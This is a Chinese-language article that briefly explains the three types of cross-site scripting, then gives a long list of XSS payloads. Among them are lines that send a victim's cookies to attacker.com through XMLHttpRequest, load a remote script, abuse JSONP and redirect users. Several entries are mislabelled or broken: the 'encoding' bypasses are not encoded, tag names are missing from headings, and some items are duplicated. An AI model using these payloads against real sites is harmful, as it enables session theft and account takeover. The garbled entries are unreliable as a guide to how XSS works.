XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过在受信任的网站上注入恶意脚本代码,然后使用户在浏览器中执行这些恶意代码,从而实现攻击目的。XSS 攻击通常发生在使用不安全的输入验证和输出编码的 Web 应用程序上。
XSS 攻击可分为三种主要类型:
存储型 XSS(Stored XSS):攻击者将恶意脚本代码存储到目标网站的服务器上,然后当其他用户访问包含恶意代码的页面时,恶意代码会被执行。这种攻击常见于用户留言板、论坛、博客等需要持久存储用户输入的网站。例如,攻击者在一个论坛的评论中插入恶意脚本,当其他用户查看该评论时,恶意脚本会在他们的浏览器中执行。
反射型 XSS(Reflected XSS):攻击者构造包含恶意脚本的链接,并诱使用户点击该链接。当用户点击链接后,恶意脚本会被发送到目标网站的服务器上,并在服务器的响应中返回给用户的浏览器,进而被执行。这种攻击常见于通过 URL 参数传递用户输入的场景。例如,攻击者构造一个恶意链接,其中包含恶意脚本,当用户点击该链接时,恶意脚本会在他们的浏览器中执行。
DOM 型 XSS(DOM-based XSS):这种类型的 XSS 攻击不涉及向服务器发送恶意脚本,而是利用 JavaScript 在客户端修改页面的 DOM 结构,从而执行恶意操作。攻击利用了客户端代码对 URL 参数或其他用户可控数据的直接操作。例如,一个网站使用 JavaScript 获取 URL 参数并直接插入到页面中,如果没有进行适当的过滤和编码,攻击者可以通过构造恶意 URL 参数来执行恶意操作。
下面是各种不同类型的payload:
基本的
<script>alert('XSS')</script>
使用 HTML 注释绕过:
<!--><script>alert('XSS')</script>-->
使用 JavaScript 事件处理程序:
<img src="x" onerror="alert('XSS')">
使用 JavaScript URL 伪协议:
<a href="javascript:alert('XSS')">Click Me</a>
使用 javascript: URL 伪协议:
<a href="javascript:alert('XSS')">Click Me</a>
使用内联 JavaScript 代码:
<a href="javascript:void(0)" onclick="alert('XSS')">Click Me</a>
使用 HTML 实体编码:
<script>alert('XSS')</script>
利用 img 标签的 onerror 事件:
<img src="invalid" onerror="alert('XSS')">
使用 SVG 图像:
<svg/onload=alert('XSS')>
利用 CSS 表达式:
<div style="background-image: expression(alert('XSS'));">
使用特殊字符编码绕过过滤:
<script>alert(String.fromCharCode(88,83,83))</script>
利用 document.write():
<script>document.write('XSS')</script>
使用 eval() 函数执行恶意代码:
<script>eval('alert("XSS")')</script>
利用 URL 编码绕过过滤:
<script>alert(/XSS/)</script>
使用 JavaScript 注释绕过过滤:
<script>//alert('XSS')
利用 iframe 进行攻击:
<iframe src="javascript:alert('XSS')"></iframe>
使用远程脚本文件:
<script src="http://attacker.com/malicious.js"></script>
利用 标签的 onload 事件:
<img src="valid" onload="alert('XSS')">
利用 或 标签:
<audio src="javascript:alert('XSS')"></audio>
<video src="javascript:alert('XSS')"></video>
利用 JSONP:
<script src="http://attacker.com/endpoint?callback=alert"></script>
使用 标签:
<marquee onstart="alert('XSS')">Hover Me</marquee>
使用 标签的 onchange 事件:
<input type="text" onchange="alert('XSS')">
使用 onmouseover 事件:
<div onmouseover="alert('XSS')">Hover Me</div>
利用 window.location 进行重定向:
<script>location.href='http://attacker.com';</script>
利用 document.cookie 获取用户 Cookie 信息:
<script>alert(document.cookie)</script>
使用 localStorage 或 sessionStorage 存储恶意数据:
<script>localStorage.setItem('data', 'malicious')</script>
利用 XMLHttpRequest 发送数据:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/?data=' + document.cookie, true);
xhr.send();
</script>
利用 onload 事件进行重定向:
<script>
window.onload = function() {
window.location.href = 'http://attacker.com';
};
</script>
利用 onsubmit 事件修改表单数据:
<form action="/" onsubmit="document.getElementById('password').value = 'malicious'">
<input type="password" id="password">
<input type="submit" value="Submit">
</form>
利用 标签的 onkeyup 事件:
<input type="text" onkeyup="alert('XSS')">
利用 标签的 javascript: URL:
<a href="javascript:window.location='http://attacker.com'">Click Me</a>
利用 标签:
<textarea autofocus onfocus="alert('XSS')">Hover Me</textarea>
利用特殊标签属性:
<div id="xss" data-attr="javascript:alert('XSS')"></div>
<script>document.getElementById('xss').dataset.attr</script>
利用 innerHTML 修改页面内容:
<script>document.body.innerHTML = 'XSS'</script>
利用 setTimeout() 函数执行恶意操作:
<script>
setTimeout(function() {
alert('XSS');
}, 1000);
</script>
利用 或 标签:
<object data="javascript:alert('XSS')"></object>
<embed src="javascript:alert('XSS')"></embed>
利用 Flash 对象:
<embed src="xss.swf">
使用 HTML5 的 postMessage() 方法:
<script>
window.postMessage('malicious', '*');
</script>
利用 CSS 中的 url() 函数执行恶意操作:
<style>
div {
background-image: url(javascript:alert('XSS'));
}
</style>
<div></div>
利用 onhashchange 事件:
<script>
window.onhashchange = function() {
alert('XSS');
};
</script>